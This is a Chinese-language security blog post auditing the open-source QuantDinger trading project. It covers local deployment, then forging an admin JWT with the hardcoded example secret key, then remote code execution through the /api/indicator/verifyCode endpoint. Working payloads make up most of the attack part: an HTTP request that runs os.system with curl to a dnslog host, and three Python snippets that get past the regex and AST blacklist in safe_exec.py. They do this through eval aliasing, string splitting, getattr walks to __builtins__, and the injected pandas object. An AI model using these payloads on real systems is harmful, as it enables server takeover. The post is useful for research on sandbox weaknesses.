前言

大家好,今天分享一个开源项目 QuantDinger 代码审计一个有趣绕过案例。

项目地址:https://github.com/brokermr810/QuantDinger

这个案例是绕过正则和AST(抽象语法树)实现RCE的,希望能给喜欢安全审计和研发的小伙伴们提供一点经验参考。

Windows环境源代码部署

在复现和挖掘漏洞前,需要从源码把环境跑起来(整个部署阶段可以略过,回头再看也行)。在部署的时候踩了几个坑一并附上:

  1. 准备语言环境与踩坑一:C++ Build Tools 报错

首先,确保安装了 Python 3.10+,我Windows11电脑上安装的是3.11.9。通过 pip install -r requirements.txt 安装依赖时,极大概率会卡在 ed25519-blake2b 或别的包的编译上,抛出大段红色错误:

error: Microsoft Visual C++ 14.0 or greater is required. Get it with "Microsoft C++ Build Tools"

排雷方案:
因为部分底层加密库需要从 C 源码编译为 Python 的二进制包,必须装有微软的编译工具链。
要前往微软官网下载
Visual Studio Build Tools,并在安装程序里勾选 使用 C++ 的桌面开发” (Desktop development with C++),安装完成后再次执行 pip install 即可通过依赖安装。

  1. 数据库配置

项目依赖 PostgreSQL(建议装 14+),在安装完毕并设置完 postgres 管理员账号和密码后需要建库。
首先进入图形化界面 pgAdmin 4 或者用
psql 运行以下初始化:

CREATE USER quantdinger WITH ENCRYPTED PASSWORD '123456';
CREATE DATABASE quantdinger OWNER quantdinger;
GRANT ALL PRIVILEGES ON DATABASE quantdinger TO quantdinger;
ALTER ROLE quantdinger WITH LOGIN;
GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA public TO quantdinger;
GRANT ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public TO quantdinger;

做完这些后,再导入项目 migrations/init.sql 创建好数据表,数据库才建好。

3. 环境配置与踩坑二:低版本 Python 的 f-string 语法小失误

复制 env.example 改名为 .env,记得将连接字串指回本地:
DATABASE_URL=postgresql://quantdinger:123456@localhost:5432/quantdinger

当运行 python run.py 时,部分 Python 环境可能会直接卡在这么一个报错:

SyntaxError: f-string expression part cannot include a backslash

在 Python 3.12 之前的版本中,f-string(格式化字符串 {})内不支持直接使用反斜杠(比如 \n),将backend_api_python\app\routes\indicator.py 的 570 行:

f"my_indicator_description = \"{prompt.replace('\\n', ' ')[:200]}\"\n\n"

提取出来提前定义:

safe_prompt = prompt.replace('\n', ' ')[:200]
f"my_indicator_description = \"{safe_prompt}\"\n\n"

此时,在隔离的虚拟环境即可跑通调试了。

硬编码的密钥导致的 JWT 身份认证绕过

在上面的配置中,很多为了方便的人(甚至包括一些一键docker部署命令)会直接拷贝 env.example。这是一个比较致命的隐患。

QuantDinger 使用 JWT 进行前后端身份校验,它的示例配置文件中,直接硬编码了如下密钥:
SECRET_KEY=quantdinger-secret-key-change-me

由于知晓了签名这密钥,在本地用这个密钥给自己签名,签发一个长期有效、角色设定为 admin 的合法 Token 即可。

实际绕过Python代码执行

在绕过认证之后,通过代码审计路由分析与污点函数关键字找到了RCE的接口/api/indicator/verifyCode,没有任何过滤,以下是payload:

POST /api/indicator/verifyCode HTTP/1.1
Host: 198.18.0.1:5000
Authorization: Bearer <伪造的合法 JWT Token>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json
Content-Length: 116

{
    "code": "import os; os.system(\"curl htlwx9.dnslog.cn\"); output = {\"plots\": [], \"signals\": []}"
}

这个系统其实有另外一个RCE的接口,有危险代码过滤backend_api_python\app\utils\safe_exec.py做保护,无奈我怎么调试业务逻辑都跑不动(应该是业务逻辑问题不是因为过滤保护问题),索性直接将第一个接口引入backend_api_python\app\utils\safe_exec.py保护,这就是为什么我使用Windows环境源代码部署,而不用docker一键部署,就是为了测试这个safe_exec.py保护是否能被绕过。

# 修改后的backend_api_python\app\routes\indicator.py:
from app.utils.safe_exec import validate_code_safety

#在280行之后添加以下内容
is_safe, error_msg = validate_code_safety(code)
if not is_safe:
    return jsonify({
        "code": 0,
        "msg": f"Code validation failed: {error_msg}",
        "data": {"type": "SafetyError", "details": error_msg}
    })

backend_api_python\app\utils\safe_exec.py实现了一个基于“黑名单”机制的 Python 沙箱,使用正则表达式(Regex)和抽象语法树(AST)来过滤。

  1. 正则匹配:把代码里一些危险的关键字和函数名比如 os.system、import os、subprocess 通通列入黑名单拦截。
  2. AST (抽象语法树) 检查:阻止提取内置挂载(如 eval, getattr, __import__),阻止试图创建或调用子类。

环境部署起来后,打入常规的payload会发现有拦截:

要同时绕过这两层检查,有两个核心技巧:

  1. 利用“别名”绕过 AST 检查:AST 仅检查 eval(...) 这种直接调用。如果我们将 eval 赋值给一个变量(如 e = eval),然后调用 e(...),AST 检查器将无法识别这个调用是危险的。
  2. 利用“字符串拼接”绕过正则检查:正则表达式是在代码执行前对整段代码字符串进行扫描的。只要我们在代码中不让 __import__、os.system 或 eval( 等字符以连续且带括号的形式出现,正则就会失效。

思路1:使用字符串拼接来隐藏所有关键词,并使用别名来调用函数

# 1. 绕过正则: e = eval 后面没有左括号,不会触发 r'\beval\s*\('
e = eval

# 2. 绕过正则: 使用拼接隐藏 "__import__", "os", "system" 等关键词
p = "__im" + "port__"
o = "o" + "s"
s = "sys" + "tem"

# 3. 绕过 AST: 调用 e 而不是 eval,AST 不会拦截非黑名单函数名
e(p + "('" + o + "')." + s + "('curl htlwx9.dnslog.cn')")

(这里把路径打码是因为先知平台有点检测好像,路径是/api/indicator/verifyCode)

  1. 绕过正则表达式:
  • safe_exec.py 检查 r'\beval\s*\('。我们的代码中是 e=eval;,由于 eval 后面跟着的是分号而不是括号,正则匹配失败。
  • 它检查 r'\b__import__\s*\('。我们的代码中通过 '__im'+'port__' 将其拆分,正则扫描时看不到完整的关键词。
  • 它检查 r'\bos\.system\b'。同理,我们将 os 和 system 都进行了拼接处理。
  1. 绕过 AST 检查:
  • safe_exec.py 的 ast.walk 逻辑只针对 ast.Call 节点的 func.id 进行白名单校验。
  • 它发现你在调用 e(...)。因为 e 不在 dangerous_functions(eval, exec 等)名单里,所以它认为这次调用是安全的。
  • 它无法追踪变量 e 的实际指向(这是静态分析黑名单的通病)。

思路2:基类继承树漫游

在 Python 预设库中存在基础类型(空字符串 ""、空字典 {} 等),就可以借助 __class__ 和 __bases__ 的隐藏链条,不断回溯查找到顶层的统一基类,利用 Python 的动态特性进一步绕过。

g = getattr

# 拼接字符串绕过正则
gn = "__glob" + "als__"
bn = "__buil" + "tins__"

# 1. g(lambda:0, gn) 获取 lambda 函数的全局空间
# 2. [bn] 从中取出 __builtins__ 字典
# 3. 从中获取 eval 并执行命令
e = g(lambda:0, gn)[bn]['ev' + 'al']
e('__im' + 'port__("os").system("curl b2bsnv.dnslog.cn")')

  1. 绕过正则表达式:利用字符串拼接(例如 "__buil" + "tins__")来躲避对关键字的字面匹配。
  2. 绕过 AST 属性检查:safe_exec.py 检查的是 ast.Attribute(即 obj.attr 这种形式)。如果我们改用 getattr(obj, "attr") 或者在字典中通过键名访问(例如 obj.__dict__["attr"]),就可以绕过针对属性访问的静态扫描。
  3. 绕过函数黑名单:由于 getattr 在黑名单中,我们同样需要使用“别名”技巧。

思路3:依赖漫游攻击

由于 indicator.py 在 verify_code 接口中主动向执行环境注入了 pd (Pandas) 和 np (NumPy) 这两个极其复杂的库,Pandas 和 NumPy 依赖于大量的底层模块,这些模块的全局命名空间(__globals__)通常会包含对 os 或 sys 的引用。

# 1. 拼接字符串绕过正则
g = getattr
bk = '__buil' + 'tins__'

# 2. 利用注入的 pd (Pandas) 对象漫游获取完整的内置函数库
# 使用 g(pd, bk) 而非 pd.__builtins__,避开 AST 针对敏感属性访问的检查
b = g(pd, bk)
ik = '__im' + 'port__'

# 3. 从内置库中提取导入函数(兼容字典或模块对象形式),避开对 "__import__" 的直接调用检查
i = b[ik] if isinstance(b, dict) else g(b, ik)
ok = 'o' + 's'
sk = 'sys' + 'tem'

# 4. 最终执行:i(ok) 得到 os 模块,g(..., sk) 得到 system 方法,最后传入命令执行
g(i(ok), sk)('curl lemqss.dnslog.cn')

  1. 绕过正则表达式:
  • 关键词混淆:代码中没有任何地方出现了 __builtins__、os.system 或 __import__ 的完整单词。例如,正则扫描器看到的是 '__buil' + 'tins__',这不会触发 \b__builtins__\b。
  • 函数名隐匿:通过 g(i(ok), sk) 调用的其实就是 os.system,但由于没有连在一起写成 os.system,r'\bos\.system\b' 正则匹配失败。
  1. 绕过 AST 检查:
  • 别名避开 Call 检查:safe_exec.py 检查 ast.Call 是否调用了 getattr。我使用了 g = getattr,后续调用的是 g(...)。AST 只看到对 g 的调用,而 g 不在黑名单里。
  • 规避 Attribute 检查:safe_exec.py 会拦截 .__builtins__ 这种属性访问。改用 g(pd, bk),在 AST 中这是一个函数调用而非属性访问。
  • 绕过 getattr 参数检查:safe_exec.py 特意检查了 getattr(builtins, '__import__')。但在我们的代码中:
  • 第一个参数是 pd(不在黑名单中)。
  • 第二个参数是变量 bk(不是字面量常量)。
  • 这就避开了 if node.args[0].id in ['builtins', '__builtins__'] 的逻辑判断。

参考

https://xz.aliyun.com/news/91460

感想

  • 绕这个防护就像回到大学做CTF一样梦幻,绞尽脑汁但收获颇丰。
  • 感觉Python在代码层面的防护就像是马奇诺防线,真正的防护还得是系统层面隔离。

免责声明

本篇文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与作者无关,请谨记守法。